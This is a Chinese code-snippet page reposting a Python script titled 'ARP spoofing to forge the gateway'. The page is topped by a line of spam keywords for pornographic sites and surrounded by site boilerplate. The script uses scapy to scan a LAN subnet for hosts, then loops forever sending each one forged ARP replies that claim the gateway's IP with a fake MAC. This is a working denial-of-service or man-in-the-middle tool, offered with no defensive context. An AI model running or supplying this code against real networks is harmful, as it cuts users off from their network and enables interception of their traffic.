中文字幕在线观看,亚洲а∨天堂久久精品9966,亚洲成a人片在线观看你懂的,亚洲av成人片无码网站,亚洲国产精品无码久久久五月天

python arp欺騙偽造網(wǎng)關(guān)代碼

2018-07-20    來源:open-open

容器云強(qiáng)勢上線!快速搭建集群,上萬Linux鏡像隨意使用
#coding:utf-8
'''
arp欺騙局域網(wǎng)pc,將偽造的網(wǎng)關(guān)mac以網(wǎng)關(guān)的arp應(yīng)答發(fā)送給pc
'''
from scapy.all import ARP,send,arping
import sys,re
 
stdout=sys.stdout
IPADDR="192.168.1.*"
gateway_ip='192.168.1.1'
#偽造網(wǎng)關(guān)mac地址
gateway_hw='00:11:22:33:44:55'
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
 
def arp_hack(ip,hw):
    #偽造來自網(wǎng)關(guān)的arp應(yīng)答
    t=p
    t.hwdst=hw
    t.pdst=ip
    send(t)
 
def get_host():
    #得到在線主機(jī)的mac地址和對應(yīng)ip地址
    hw_ip = {}
    sys.stdout = open('host.info','w')
    arping(IPADDR)
    sys.stdout = stdout
    f = open('host.info','r')
    info = f.readlines()
    f.close
    del info[0]
    del info[0]
    for host in info :
        temp = re.split(r'\s+',host)
        hw_ip[temp[1]] = temp[2]
         
    return hw_ip
         
     
 
if __name__ == "__main__":
    hw_ip = get_host()
    while 1 :
        for i in hw_ip :
            arp_hack(hw=i,ip=hw_ip[i])

標(biāo)簽:

版權(quán)申明:本站文章部分自網(wǎng)絡(luò),如有侵權(quán),請聯(lián)系:west999com@outlook.com
特別注意:本站所有轉(zhuǎn)載文章言論不代表本站觀點(diǎn)!
本站所提供的圖片等素材,版權(quán)歸原作者所有,如需使用,請與原作者聯(lián)系。

上一篇:python獲取當(dāng)天日期

下一篇:python編程從一個ftp傳輸文件到另一個ftp服務(wù)器